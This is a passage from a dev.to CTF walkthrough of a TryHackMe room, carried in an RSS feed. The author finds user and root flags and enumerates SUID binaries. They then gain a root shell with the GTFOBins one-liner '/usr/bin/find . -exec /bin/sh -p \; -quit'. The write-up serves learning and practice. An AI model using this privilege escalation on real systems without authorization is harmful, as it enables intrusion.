&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's try to login.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fakc2x02xwvmzy78l2vl1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fakc2x02xwvmzy78l2vl1.png" alt=" " width="800" height="464"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd56ml2zqzqzcl8nx0dqr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd56ml2zqzqzcl8nx0dqr.png" alt=" " width="800" height="239"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is a .secret file&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3yl656m3990vmv0pycm8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3yl656m3990vmv0pycm8.png" alt=" " width="590" height="104"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;user.txt =&amp;gt; You made it till here, well done.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now we need root access to gain full control over the system. So i did some digging, and identified SUID binaries by running &lt;code&gt;find / -perm -4000 2&amp;gt;/dev/null&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6kzpuw3n05iq1wlc4dmc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6kzpuw3n05iq1wlc4dmc.png" alt=" " width="800" height="435"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We have &lt;code&gt;/usr/bin/find&lt;/code&gt;, &lt;code&gt;/usr/bin/sudo&lt;/code&gt;, &lt;code&gt;usr/bin/passwd&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let's try &lt;code&gt;/usr/bin/find&lt;/code&gt; first. I looked at &lt;a href="https://gtfobins.org/gtfobins/find/" rel="noopener noreferrer"&gt;https://gtfobins.org/gtfobins/find/&lt;/a&gt; and tried to exploit using &lt;code&gt;find . -exec /bin/sh -p \; -quit&lt;/code&gt;. Just type &lt;code&gt;/usr/bin/&lt;/code&gt; without &lt;code&gt;find&lt;/code&gt; and paste it.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/usr/bin/find . -exec /bin/sh -p \; -quit&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fozhjbxqel6r46n5im2re.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fozhjbxqel6r46n5im2re.png" alt=" " width="800" height="102"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And now we're root user.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What did you exploit to get the privileged user?
&lt;code&gt;find&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now we can get the root flag navigating &lt;code&gt;/root&lt;/code&gt; directory and print the output.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fir2nb9vgpueuxvldxfkw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fir2nb9vgpueuxvldxfkw.png" alt=" " width="660" height="208"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We got the root.txt!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;root.txt =&amp;gt; It wasn't that hard, was it?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Quick note:&lt;/strong&gt; I kept this guide clean and focused on what worked. In reality, I tested many other endpoints, forms, and pages — but showing all those dead ends would've made this too messy.&lt;/p&gt;

&lt;p&gt;I'm still learning, so this walkthrough may not be perfect. If you find an error or a better approach, please reach out — I'd genuinely appreciate the feedback.&lt;/p&gt;

&lt;p&gt;Hope you learned something useful! Questions? Feel free to ask — I'm happy to help. 👍&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.linkedin.com/in/mikail-kakabayev-5401183aa?utm_source=share_via&amp;amp;utm_content=profile&amp;amp;utm_medium=member_ios" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/mikail-kakabayev&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>tryhackme</category>
    </item>
  </channel>
</rss>
